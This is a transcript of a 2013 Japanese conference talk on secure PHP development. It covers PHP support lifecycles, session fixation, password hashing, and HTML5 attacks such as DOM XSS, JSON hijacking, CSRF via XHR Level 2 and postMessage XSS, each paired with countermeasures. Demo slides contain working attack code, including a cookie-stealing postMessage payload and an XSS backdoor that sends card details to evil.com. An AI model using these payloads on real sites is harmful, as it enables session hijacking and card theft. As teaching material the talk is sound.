Your SlideShare is downloading. ×
0
安全なPHPアプリケーションの作り方2013
2013年9月14日
HASHコンサルティング株式会社
徳丸 浩
• PHPのライフサイクルにどうつきあう?
• セッションフィクセイション結局どうする
• パスワードの守り方
• デモから学ぶ HTML5セキュリティ入門
Copyright © 2008-2013 HASH Consulting Corp....
PHPのライフサイクルにどうつき
あう?
3
4
サポートライフサイクルポリシーとは
• サポートライフサイクルポリシーとは、製品サポートに
ついてのサポートポリシーを文書化したもの
• 厳密な契約ではないが、購入者に対する「約束」と考え
られる
• マイクロソフト社の取り組みが有名
– 20...
マイクロソフト社のサポートライフサイクルポリシー
メインストリームサポート 次のうちいずれか長い方
・ 製品発売から5年
・ 後継製品の発売から2年
延長サポート 次のうちいずれか長い方
・ メインストリームサポート終了から5年
・ 2番目の後...
【参考】PHPのサポート状況
1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010
PHP5.x
PHP4.x
PHP3.x
3.5年
•オープンソース・ソフトウェアは...
Request for Comments: Release Process(PHP)
• Yearly release cycle
– 3 years release life cycle
– 2 years bug fixes only
– ...
サポートライフサイクルポリシーまとめ
• ソフトウェア選定時にサポートライフサイクルポリシー
を確認すること
– PHP以外に、フレームワークやDB、ライブラリ等も
• サポート計画を検討する
– PHPをRedHat/CentOSのパッケージ...
セッションフィクセイション結
局どうする
10
PHP5.5.2でStrict Sessionsがマー
ジされました
11
大垣さん、まことにおめでとう
ございます (_ _)
12
• PHPのセッション管理機構には、未初期化のセッション
IDを受け入れる問題があった (Session Adoption)
• 例えば、PHPSESSID=ABC をCookieにセットしておく
と、そのままセッションIDとして使ってくれる
...
Strict Sessionsのデモ
14
• Strict SessionsはPHP5.5のみの対応で、PHP5.3やPHP5.4
では対応していない
– PHP5.4以前は、session_regenerate_id(true); で対応
• PHP5.5.2以降だと、session...
パスワードの守り方
16
LinkedInからのパスワード漏洩事件
17http://www.itmedia.co.jp/enterprise/articles/1206/07/news017.html より引用
650万件のパスワードハッシュのうち540万件が1週間で解読
http://securitynirvana.blogspot.jp/2012/06/final-word-on-linkedin-leak.html より引用
https://tw...
Saltってなに?
• ソルト(Salt)とは、ハッシュの元データ(パスワード)に追加す
る文字列
• 見かけのパスワードの長さを長くする →レインボーテーブル対策
• ユーザ毎にソルトを変えることで、パスワードが同じでも、異なる
ハッシュ値が...
Stretchingってなに?
• ストレッチング(Stretching)とは、ハッシュの計算を繰り返すこと
• ハッシュの計算を遅くすることにより、辞書攻撃や総当たり攻撃に対
抗する
• 1万回ストレッチすると、「 GPUモンスターマシンで2...
パスワードをハッシュで保存する場合の課題
• 「パスワードリマインダ」が実装できない
– 「秘密の質問」に答えるとパスワードを教えてくれるアレ
– パスワードリセットで代替
• ハッシュの形式(アルゴリズム、ソルト、ストレッチ回数)の変更
– ...
password_hash 関数 (PHP5.5から)
http://php.net/manual/ja/function.password-hash.php より引用
<?php echo password_hash('rasmuslerdo...
password_hash関数の代替(PHP5.3.7~PHP5.4)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
function get_salt()
{
...
結局どうすればよいの?
• パスワード認証は、利用者とサイト運営者が責任を分かち合ってい
る
• 利用者に、よいパスワードをつけてもらうのが本筋
• オンライン攻撃に備えて、以下を実施する
– アカウントロックの実装
– SQLインジェクション...
デモから学ぶ
HTML5セキュリティ入門
25
激安お徳情報(罠サイト)
デモに出てくるWebサイトの説明
アフィリエイトブログ ドメインとるなら
おネーム.com
広告モジュール
広告事業者
adv.com
blog.com oname.com
evil.com
Copyright © 2...
DOM Based XSS
27
blogの外観
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 28
トラッキング用img要素の生成箇所
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
<iframe src="http://adv.com/ad.html?site...
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 30
• 確かにXSSはあるが、ドメイン(オリジンは)
http://adv.com であり、他のドメインには影響はない
はず
• siteIdはlocalStorageに保存しているが、parseIntを通
しているので、汚染されることはない
• ...
JSON Hijack
32
プロフィール画面
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
<script src="jquery-1.10.2.min.js"></script>
<scr...
• JSONって、JavaScriptだよね
• script要素で読み込めるよね
• クッキーも飛ぶよね
• JSONデータを盗むワナを作れないか?
34
JSON Hijackとは…
これは罠サイト
script要素はクロスドメインで読み込...
JSON Hijackの罠 (setter版; 一般利用者が閲覧)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
<body onload="alert(x)">...
JSON Hijackの罠 (IE向け;一般利用者が参照)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
<script>
window.onerror = fu...
• Content-Typeを正しく設定する
header('Content-Type: application/json; charset=UTF-8’);
• X-Content-Type-Options: nosniff を出力する
he...
JSONによるXSS
38
ドメイン名検索機能(JSON)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
{"status":"ok","key":"tokumaru","results":...
XSS実行例
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 40
• Content-Typeを正しく出力(これでIE以外OK)
header('Content-Type: application/json; charset=UTF-8');
• X-Content-Type-Options: nosniff...
XHR L2によるCSRF
42
• 高橋君の見解
– FormのPOST送信ではJSON形式は送信できない
– XMLHttpRequestではクロスドメイン通信はできない
– ∴ どちらで攻撃されても大丈夫
Copyright © 2008-2013 HASH Consul...
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
攻撃スクリプト
var requester = new XMLHttpRequest();
requester.op...
• XHR Level2対応のブラウザ(IE以外)の場合、クロスド
メイン(クロスオリジン)にホストにリクエスト自体は
無条件に可能
– サーバー側でAccess-Control-Allow-Originヘッダを送信しない
と、レスポンスを受け...
PostMessageに注意
46
広告モジュールからpostMessageでsiteIdを受け取る
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
window.addEventListener("...
• siteIdの埋め込み箇所(下記)には潜在的なXSSがある
var input = '<input type="hidden" name="siteId" value="' + siteId + '">';
form.innerHTML +...
罠サイトからpostMessaeが可能
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
win = window.open(
'http://oname.com/p...
postMessage経由のXSS攻撃
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 50
• 送信側: データを渡してもよいオリジンを指定する
win.postMessage(message, ’http://oname.com’)
• 受信側: データを受け取ってもよいオリジンを確認する
Copyright © 2008-2013...
これまでのおさらい
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 52
• 広告表示モジュールにXSS
– http://adv.comオリジンにのみ影響とのことで受容した
• 広告モジュールから販売サイトへのpostMessage
– http://adv.comオリジンからのみ受け取るように制限した
• 販売サ...
この対策で大丈夫か?
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 54
まぜるな危険 !
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 55
• 広告表示モジュールにXSS
– http://adv.comオリジンにのみ影響とのことで受容した
– XSSでローカルストレージに攻撃文字列を書き込める
• 広告モジュールから販売サイトへのpostMessage
– http://adv....
罠サイトからpostMessaeが可能
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
localStorage
adv.com
XSSを利用して
攻撃コードをセッ...
攻撃コードの例
58Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
http://adv.com/ad.html?siteId=%22%20onload%3d%22...
バックドアによる情報漏えい
59Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
ドメイン取るならおネーム.com
evil.com
oname.com
XSSでセッ...
• HTML組み立てを以下のいずれかの方法で行う
– DOM操作用のメソッドやプロパティを用いる
• 文脈に応じたエスケープ処理を施す
Copyright © 2008-2013 HASH Consulting Corp. All rights...
対策(続き)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
window.addEventListener("message", function(event) ...
• HTML5になり攻撃のバリエーションは増加しているが、
基本は変わらない
– XSS: 文脈に応じたエスケープ または DOM操作用メソッド・プ
ロパティ
– CSRF: トークンにより対策
• “手抜きをしない”
– 手抜きの例 : XH...
参考文献(1)
Copyright © 2013 HASH Consulting Corp.
XSSの基礎を説明してい
ますが、DOM base XSS
やAjaxに関する説明は
あまりありません
63
参考文献(2)
http://www.ipa.go.jp/about/technicalwatch/20130129.html
DOM base XSSに関する
体系的な説明として貴
重な参考資料です
64
参考文献(3)
ブラウザセキュリティの
「面倒くささ」について、逃
げずに丹念に説明してい
ます。上級者および上級
者を目指す方向け
65
• HTML5 and Security Part 1 : Basics and XSS [PPT]
– http://utf-8.jp/public/20130613/owasp.pptx
• HTML5時代のWebセキュリティ[PPT]
–...
• セッションアダプションに対する私の見解
– http://tumblr.tokumaru.org/post/37870453034/about-session-
adoption
• 本当は怖いパスワードの話
– http://www.at...
Thank you
68
Upcoming SlideShare
Loading in...5
×

安全なPHPアプリケーションの作り方2013

242,423

Published on

PHPカンファレンス2013における徳丸のプレゼン資料です。後から、参考文献などを加筆しました。

Published in: Technology
3 Comments
123 Likes
Statistics
Notes
  • なるほど、意図について理解しました。ご回答いただきありがとうございます。
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • ご指摘ありがとうごさいます。特に理由はありません。強いて言えば、中身をホワイトボックスで示したかったと言うことくらいです。
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • 23 ページの password_hash() についてですが、 PHP のマニュアルの http://jp2.php.net/manual/ja/intro.password.php にて紹介されている「ユーザーランドの実装」を選択せず、独自実装の紹介としているのは何か理由があるでしょうか。 https://github.com/ircmaxell/password_compat の作者は PHP 5.5 における password_hash() の RFC 作成者であり、実装者でもある Anthony Ferrara 自身によるもので、個人的には PHP 5.5 の password_hash() と同程度に信頼して使ってよいものという認識でいたのですが……
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
No Downloads
Views
Total Views
242,423
On Slideshare
0
From Embeds
0
Number of Embeds
15
Actions
Shares
0
Downloads
201
Comments
3
Likes
123
Embeds 0
No embeds

No notes for slide

Transcript of "安全なPHPアプリケーションの作り方2013"

  1. 1. 安全なPHPアプリケーションの作り方2013 2013年9月14日 HASHコンサルティング株式会社 徳丸 浩
  2. 2. • PHPのライフサイクルにどうつきあう? • セッションフィクセイション結局どうする • パスワードの守り方 • デモから学ぶ HTML5セキュリティ入門 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved アジェンダ 2
  3. 3. PHPのライフサイクルにどうつき あう? 3
  4. 4. 4
  5. 5. サポートライフサイクルポリシーとは • サポートライフサイクルポリシーとは、製品サポートに ついてのサポートポリシーを文書化したもの • 厳密な契約ではないが、購入者に対する「約束」と考え られる • マイクロソフト社の取り組みが有名 – 2002 年 10 月に最初に発表 – 2004 年 6 月に更新 – 詳しくは次のスライドで… Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 5
  6. 6. マイクロソフト社のサポートライフサイクルポリシー メインストリームサポート 次のうちいずれか長い方 ・ 製品発売から5年 ・ 後継製品の発売から2年 延長サポート 次のうちいずれか長い方 ・ メインストリームサポート終了から5年 ・ 2番目の後継製品の発売から2年 •最新の製品を使う限り、7年間のサポートが保証されている(追加費用無し) メインストリームサポート Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 6
  7. 7. 【参考】PHPのサポート状況 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 PHP5.x PHP4.x PHP3.x 3.5年 •オープンソース・ソフトウェアは通常サポートポリシーが明確でない •PHPの場合、最悪ケースで、最新版を使っていても3.5年でサポートが終 了になるケースもあった •アプリケーションのライフサイクルの中で、基盤ソフトのサポート終了を想 定した計画立案が要求される Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 7
  8. 8. Request for Comments: Release Process(PHP) • Yearly release cycle – 3 years release life cycle – 2 years bug fixes only – 1 year security fixes only • 下図のように、PHP5.x(2番目の数字)を使い続けるのは、 2~3年が限度 https://wiki.php.net/rfc/releaseprocess より引用Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 8
  9. 9. サポートライフサイクルポリシーまとめ • ソフトウェア選定時にサポートライフサイクルポリシー を確認すること – PHP以外に、フレームワークやDB、ライブラリ等も • サポート計画を検討する – PHPをRedHat/CentOSのパッケージで導入すれば10年サポー トに – PHPのバージョンアップにとことん付き合うという選択肢 – 途中でバージョンアップする計画を立てておく(予算も) • 他のソフトウェアのサポートライフサイクルにも注意 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 9
  10. 10. セッションフィクセイション結 局どうする 10
  11. 11. PHP5.5.2でStrict Sessionsがマー ジされました 11
  12. 12. 大垣さん、まことにおめでとう ございます (_ _) 12
  13. 13. • PHPのセッション管理機構には、未初期化のセッション IDを受け入れる問題があった (Session Adoption) • 例えば、PHPSESSID=ABC をCookieにセットしておく と、そのままセッションIDとして使ってくれる • セッションフィクセーション攻撃の時に、Session Adoptionがあると便利! • セッションフィクセーション対策には、ログイン成功後 に下記を実行すること – session_regenerate_id(true); • PHP5.5.2以降では、 php.iniに下記を指定すると、 Session Adoptionが解消される – session.use_strict_mode = 1 Strict Sessionsとは何か Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 13
  14. 14. Strict Sessionsのデモ 14
  15. 15. • Strict SessionsはPHP5.5のみの対応で、PHP5.3やPHP5.4 では対応していない – PHP5.4以前は、session_regenerate_id(true); で対応 • PHP5.5.2以降だと、session_regenerate_id()は不要? – 必要 – 「勝手に作ったセッションIDを受け入れない」だけで、攻撃対 象からセッションIDを入手すれば、セッションフィクセーショ ン攻撃は依然として可能 • 結局、アプリの書き方は変わらない – ログイン成功後に session_regenerate_id(true); Strict Sessionsでアプリの書き方は変わる? Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 15
  16. 16. パスワードの守り方 16
  17. 17. LinkedInからのパスワード漏洩事件 17http://www.itmedia.co.jp/enterprise/articles/1206/07/news017.html より引用
  18. 18. 650万件のパスワードハッシュのうち540万件が1週間で解読 http://securitynirvana.blogspot.jp/2012/06/final-word-on-linkedin-leak.html より引用 https://twitter.com/jmgosney/statuses/213212108924522496 より引用 Surviving on little more than furious passion for many sleepless days, we now have over 90% of the leaked passwords recovered. 18
  19. 19. Saltってなに? • ソルト(Salt)とは、ハッシュの元データ(パスワード)に追加す る文字列 • 見かけのパスワードの長さを長くする →レインボーテーブル対策 • ユーザ毎にソルトを変えることで、パスワードが同じでも、異なる ハッシュ値が得られる – ソルトがない場合、パスワードの組み合わせ回数分ですむが、ソルト があると、×ユーザ数 に試行回数が増える – LinkedInの場合は、試行回数が 650万倍に ! • ソルトの要件 – ある程度の長さを確保すること – ユーザ毎に異なるものにすること • ソルトには乱数を用いることが多いが、乱数が必須というわけでは ない(暗号論的に安全な乱数である必要はもちろんない) • ソルトは秘密情報ではない。ソルトは、通常ハッシュ値と一緒に保 存する Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 19
  20. 20. Stretchingってなに? • ストレッチング(Stretching)とは、ハッシュの計算を繰り返すこと • ハッシュの計算を遅くすることにより、辞書攻撃や総当たり攻撃に対 抗する • 1万回ストレッチすると、「 GPUモンスターマシンで20分掛かる」 が20万分になる計算 – 20万分 = 139日 … • 「悪い」パスワードまで救えるわけではない – 「password」というパスワードをつけていたら、100万回ストレッチし てもすぐに解読されてしまう • 十分長いパスワードをつけてもらえば、ストレッチングは必要ない – 1文字パスワードを長くすることは、約90回のストレッチングに相当する。 パスワードを2文字長くしてもらえば… – ストレッチングは、「弱いパスワード」の救済の意味がある • ストレッチングはメリットとデメリットがあるので、導入の有無と回 数をよく検討すること Copyright © 2008-2013 HASH Consulting Corp. All rights reserved むむ、これだとパスワードの定期的変更か? 20
  21. 21. パスワードをハッシュで保存する場合の課題 • 「パスワードリマインダ」が実装できない – 「秘密の質問」に答えるとパスワードを教えてくれるアレ – パスワードリセットで代替 • ハッシュの形式(アルゴリズム、ソルト、ストレッチ回数)の変更 – 生パスワードが分からないのでハッシュの方式変更がバッチ処理では できない – ユーザの認証成功の際にはパスワードが分かるので、その際に方式を 変更すると良い – 緊急を要する場合は、現在パスワードを無効にして、パスワードリセ ットで – ハッシュ値あるいは別フィールドに「方式番号」をもっておく – PHP5.5のpassword_hash関数が便利 (ソルト・ストレッチング内蔵) $1$d641fdabf96912$4b3c3e95dfab179ebfef220172f58171 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 方式番号 ソルト ハッシュ値 21
  22. 22. password_hash 関数 (PHP5.5から) http://php.net/manual/ja/function.password-hash.php より引用 <?php echo password_hash('rasmuslerdorf’, PASSWORD_DEFAULT); 【結果】 $2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 22
  23. 23. password_hash関数の代替(PHP5.3.7~PHP5.4) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved function get_salt() { $random = file_get_contents('/dev/urandom', false, NULL, 0, 18); $base64 = base64_encode($random); return substr(strtr($base64, '+', '.'), 0, 22); } function get_hash($password) { $salt = get_salt(); return crypt($password, ‘$2y$10$’ . $salt); // $10$ は適宜調整してください } function verify_password($password, $hash) { $salt = substr($hash, 7, 22); $new_hash = crypt($password, '$2y$10$' . $salt); return $hash === $new_hash; } 23
  24. 24. 結局どうすればよいの? • パスワード認証は、利用者とサイト運営者が責任を分かち合ってい る • 利用者に、よいパスワードをつけてもらうのが本筋 • オンライン攻撃に備えて、以下を実施する – アカウントロックの実装 – SQLインジェクションなどの脆弱性対処 – でれきば…二段階認証、リスクベース認証 – Googleなど認証プロバイダの活用 • オフライン攻撃対策は中々決め手がない – ソルトなしのハッシュは、レインボーテーブルで元パスワードが簡単 に求められる – ソルトは必須。できるだけストレッチングもする(password_hash関数 など) – DBのパスワード欄に余裕を持たせ、方式を改良できるようにしておく Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 24
  25. 25. デモから学ぶ HTML5セキュリティ入門 25
  26. 26. 激安お徳情報(罠サイト) デモに出てくるWebサイトの説明 アフィリエイトブログ ドメインとるなら おネーム.com 広告モジュール 広告事業者 adv.com blog.com oname.com evil.com Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 26
  27. 27. DOM Based XSS 27
  28. 28. blogの外観 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 28
  29. 29. トラッキング用img要素の生成箇所 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved <iframe src="http://adv.com/ad.html?siteId=50341"> </iframe> <a href="http://oname.com/"><img src="oname.png"></a> <div id="img"></div> <script> var div = document.getElementById('img'); var img = '<img src="track.php?siteId=' + qstrs.siteId + '">'; div.innerHTML = img; // siteId を localStorageに保存 localStorage.siteId = parseInt(qstrs.siteId); iframeの参照 iframeのソース(主要部) 29
  30. 30. Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 30
  31. 31. • 確かにXSSはあるが、ドメイン(オリジンは) http://adv.com であり、他のドメインには影響はない はず • siteIdはlocalStorageに保存しているが、parseIntを通 しているので、汚染されることはない • そもそもblog.comから呼び出される場合、siteIdは固定 なので、攻撃経路がない • 見解の正否は後ほど… Copyright © 2008-2013 HASH Consulting Corp. All rights reserved DOM Based XSSの影響(高橋の見解) 31
  32. 32. JSON Hijack 32
  33. 33. プロフィール画面 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved <script src="jquery-1.10.2.min.js"></script> <script> $(function() { $.ajax({ dataType: 'json', url: 'getProfile_json.php' }).done(function(json) { $('#name').text(json[0].name); $('#addr').text(json[0].addr); $('#tel').text(json[0].tel); $('#mail').text(json[0].mail); }); }); </script> プロフィール<br> 氏名:<span id="name"></span><br> 住所:<span id="addr"></span><br> 電話番号:<span id="tel"></span><br> メールアドレス:<span id="mail"></span><br> プロフィールの表示(profile.php) [{"name":"Taro Yamada", "tel":"03-1111-2222", "mail":"yamada@example.jp", "addr":"1-1-1, Mita, Minato- city, Tokyo"}] 33
  34. 34. • JSONって、JavaScriptだよね • script要素で読み込めるよね • クッキーも飛ぶよね • JSONデータを盗むワナを作れないか? 34 JSON Hijackとは… これは罠サイト script要素はクロスドメインで読み込み可能 クッキーもつくよ <script> // ここにJSONを読む仕掛けを置く </script> <script src="http://oname.com/getProfile_json.php"></script>
  35. 35. JSON Hijackの罠 (setter版; 一般利用者が閲覧) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved <body onload="alert(x)"> 罠サイト <script> var x = ""; Object.prototype.__defineSetter__("name", function(v) { x += 'name = ' + v + "¥n"; }); Object.prototype.__defineSetter__("tel", function(v) { x += 'tel = ' + v + "¥n"; }); // …省略 // 以下がJSONデータ <script src="http://oname.com/getProfile_json.php"></script> </body> ※ Xperia Arc (Android 2.3.4)にて実行 35
  36. 36. JSON Hijackの罠 (IE向け;一般利用者が参照) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved <script> window.onerror = function(e) { if (e.match(/'({"memo".*)'$/)) { var msg = 'JSONハイジャックに成功:' + RegExp.$1; } else { var msg = 'JSONハイジャックに失敗:' + e; } var divmemo = document.getElementById('memo'); var text = document.createTextNode(msg); divmemo.appendChild(text); } </script> これは罠サイトです(IE限定) <div id="memo"></div> <script src="http://oname.com/getProfile_json.php" language="vbscript"></ script> 36
  37. 37. • Content-Typeを正しく設定する header('Content-Type: application/json; charset=UTF-8’); • X-Content-Type-Options: nosniff を出力する header('X-Content-Type-Options: nosniff'); • 最新のIEを用いる(CVE-2013-1297対策ずみのもの) – JSON Hijackができることはブラウザのバグ • X-Requested-Withヘッダのチェック – ヘッダ X-Requested-With: XMLHttpRequest があること – jQueryやprototype.jsでは自動的に付与される – script要素で読む場合は、ヘッダは操作できない Copyright © 2008-2013 HASH Consulting Corp. All rights reserved JSON Hijackの対策 37
  38. 38. JSONによるXSS 38
  39. 39. ドメイン名検索機能(JSON) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved {"status":"ok","key":"tokumaru","results":["tokumaru.us"," tokumaru.ru"]} http://oname.com/searchdomain_json.php?dname=tokumaru {"status":"fail","key":"<img src=# onlerror=alert(1)>","re sults":[]} http://oname.com/searchdomain_json.php?dname=<img%20src%3D%23%20 onlerror%3Dalert(1)> ブラウザにJSON(application/json)と認 識されれば問題ないが、 HTML(text/html)と認識されるとXSSに 39
  40. 40. XSS実行例 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 40
  41. 41. • Content-Typeを正しく出力(これでIE以外OK) header('Content-Type: application/json; charset=UTF-8'); • X-Content-Type-Options: nosniff ヘッダを出力 header('X-Content-Type-Options: nosniff'); // これで IE8 以降は OK • リクエスト時にX-Request-Withを付与して、サーバー 側で確認する – jQuery等では自動的付与。すべてのブラウザで有効な対策 • < や > もUnicodeエスケープする json_encode($row, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); JSONによるXSSの対策 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 41
  42. 42. XHR L2によるCSRF 42
  43. 43. • 高橋君の見解 – FormのPOST送信ではJSON形式は送信できない – XMLHttpRequestではクロスドメイン通信はできない – ∴ どちらで攻撃されても大丈夫 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved CSRF脆弱なサンプル session_start(); // ログイン確認 if (isset($_SESSION['id'])) { $id = $_SESSION['id']; $stream = file_get_contents(‘php://input’); // リクエスト・ボディ $json = json_decode($stream, TRUE); if (isset($json['pwd']) && $json['pwd'] !== '') { // パスワードがJSONとして渡ってきている場合にパスワード変更 $pwd = $json['pwd']; // パスワード変更処理(ログにパスワードを吐くのは禁止だが、以下はデモのため) error_log(“Password is changed. id: ${id} password: ${pwd}”); // 以下はエラー処理 パスワード変更処理のソース(PHP; 主要部) 43
  44. 44. Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 攻撃スクリプト var requester = new XMLHttpRequest(); requester.open('POST', 'http://oname.com/chgpwd_json.php', true); // 以下がないとGoogle Chromeでプレフライト(OPTIONS)が送信されるので攻撃失敗する requester.setRequestHeader("Content-type", "text/plain"); // 以下でリクエストにクッキーを付与する requester.withCredentials = true; // レスポンスは受け取れないので、コールバック関数はセットしていない requester.send('{"pwd":"123456"}'); 攻撃スクリプト(JavaScript; 主要部) Password is changed. id: yamada password: 123456 実行結果:サーバーログ 44
  45. 45. • XHR Level2対応のブラウザ(IE以外)の場合、クロスド メイン(クロスオリジン)にホストにリクエスト自体は 無条件に可能 – サーバー側でAccess-Control-Allow-Originヘッダを送信しない と、レスポンスを受け取れないが、CSRF攻撃ではレスポンスは 元々必要ない • setRequestHeaderを用いる場合は、プレフライトに対 応する必要がある • このため、攻撃の場合Content-Typeヘッダを指定でき ない(text/plainは例外らしい) – サーバー側でContent-Typeをチェックすると少し安全に • 根本的には、通常通りトークンによる対策を推奨 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 解説 45
  46. 46. PostMessageに注意 46
  47. 47. 広告モジュールからpostMessageでsiteIdを受け取る Copyright © 2008-2013 HASH Consulting Corp. All rights reserved window.addEventListener("message", function(event) { var siteId = event.data; var form = document.getElementById('form'); var input = '<input type="hidden" name="siteId" value="' + siteId + '">'; form.innerHTML += input; } , false); 購入画面にてsiteIdを埋め込み(purchase.php) parent.postMessage( localStorage.siteId, '*'); 広告モジュールからsiteIdを送信(affiliate.html) ドメインとるならおネーム.com 広告モジュール oname.com postMessage 47 adv.com
  48. 48. • siteIdの埋め込み箇所(下記)には潜在的なXSSがある var input = '<input type="hidden" name="siteId" value="' + siteId + '">'; form.innerHTML += input; • しかし、siteIdをlocalStorageに保存する際にparseIntで フィルタリングしているため、攻撃文字列を埋め込まれる 心配はない この箇所のDOM Based XSSに関する高橋の考察 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 48
  49. 49. 罠サイトからpostMessaeが可能 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved win = window.open( 'http://oname.com/purchase.php?domain=tokumaru.us', "x"); setTimeout(function () { win.postMessage('"><img width=1 height=1 src=/ onerror="alert(d ocument.cookie)">', '*'); }, 2000); 罠画面から購入画面を開き、Cookieを窃取 ドメイン取るならおネーム.com 広告モジュール oname.com postMessage 激安マル秘情報 evil.com postMessage window.open ① ② ③ 49
  50. 50. postMessage経由のXSS攻撃 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 50
  51. 51. • 送信側: データを渡してもよいオリジンを指定する win.postMessage(message, ’http://oname.com’) • 受信側: データを受け取ってもよいオリジンを確認する Copyright © 2008-2013 HASH Consulting Corp. All rights reserved postMessageを扱う場合の注意 window.addEventListener("message", function(event) { if (event.origin !== "http://adv.com") { alert('不正なpostMessage'); return; } var siteId = event.data; var form = document.getElementById('form'); var input = '<input type="hidden" name="siteId" value="' + siteId + '">'; form.innerHTML += input; } , false); 購入画面にてsiteIdを埋め込み(purchase.php) 51
  52. 52. これまでのおさらい Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 52
  53. 53. • 広告表示モジュールにXSS – http://adv.comオリジンにのみ影響とのことで受容した • 広告モジュールから販売サイトへのpostMessage – http://adv.comオリジンからのみ受け取るように制限した • 販売サイトのDOM Based XSS – 広告モジュール(adv.com)にて、siteIdを整数値に制限している ので、実害はないと判断、受容した これまでのおさらい(高橋の見解) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 53
  54. 54. この対策で大丈夫か? Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 54
  55. 55. まぜるな危険 ! Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 55
  56. 56. • 広告表示モジュールにXSS – http://adv.comオリジンにのみ影響とのことで受容した – XSSでローカルストレージに攻撃文字列を書き込める • 広告モジュールから販売サイトへのpostMessage – http://adv.comオリジンからのみ受け取るように制限した – 上記によりhttp://adv.comオリジンから攻撃を受ける可能性 • 販売サイトのDOM Based XSS – 広告モジュール(adv.com)にて、siteIdを整数値に制限している ので、実害はないと判断、受容した – 上記により、攻撃を受ける可能性 合わせ技で「大変なこと」に! Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 56
  57. 57. 罠サイトからpostMessaeが可能 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved localStorage adv.com XSSを利用して 攻撃コードをセット 激安お徳情報 evil.com 遷移 ① ② ドメインとるならおネーム.com 広告モジュール oname.com postMessage③ 攻撃コード 攻撃 57
  58. 58. 攻撃コードの例 58Copyright © 2008-2013 HASH Consulting Corp. All rights reserved http://adv.com/ad.html?siteId=%22%20onload%3d%22localStorage.siteId%3d%26quot; 50341¥%26quot;%3E%3Cimg%20width%3d1%20height%3d1%20src%3d/%20onerror%3 d¥%26quot;document.forms[0].onsubmit%3dfunction(){f%3ddocument.forms[0];r%3dn ew%20XMLHttpRequest();r.open('GET','http://evil.com/r.php?'%2bf.name.value%2b':'% 2bf.cardnum.value%2b':'%2bf.expire.value,false);r.send();return%20true;}%26quot;; 50341"><img width=1 height=1 src=/ onerror="document.forms[0].onsubmit=function() {f=document.forms[0];r=new XMLHttpRequest();r.open('GET','http://evil.com/r.php?'+f. name.value+':'+f.cardnum.value+':'+f.expire.value,false);r.send();return true;} document.forms[0].onsubmit=function(){ f = document.forms[0]; r = new XMLHttpRequest(); r.open(('GET', 'http://evil.com/r.php?'+f.name.value+':'+f.cardnum.value+':'+ f.expire.value, false); r.send(); return true; } adv.comへの攻撃例 攻撃後のローカルストレージsiteId oname.comで実行されるコード(読みやすく整形) サブミットすると、フォームの値を 外部に漏えいさせるバックドア
  59. 59. バックドアによる情報漏えい 59Copyright © 2008-2013 HASH Consulting Corp. All rights reserved ドメイン取るならおネーム.com evil.com oname.com XSSでセットさ れたバックドア 購入 氏名 カード番号 有効日付
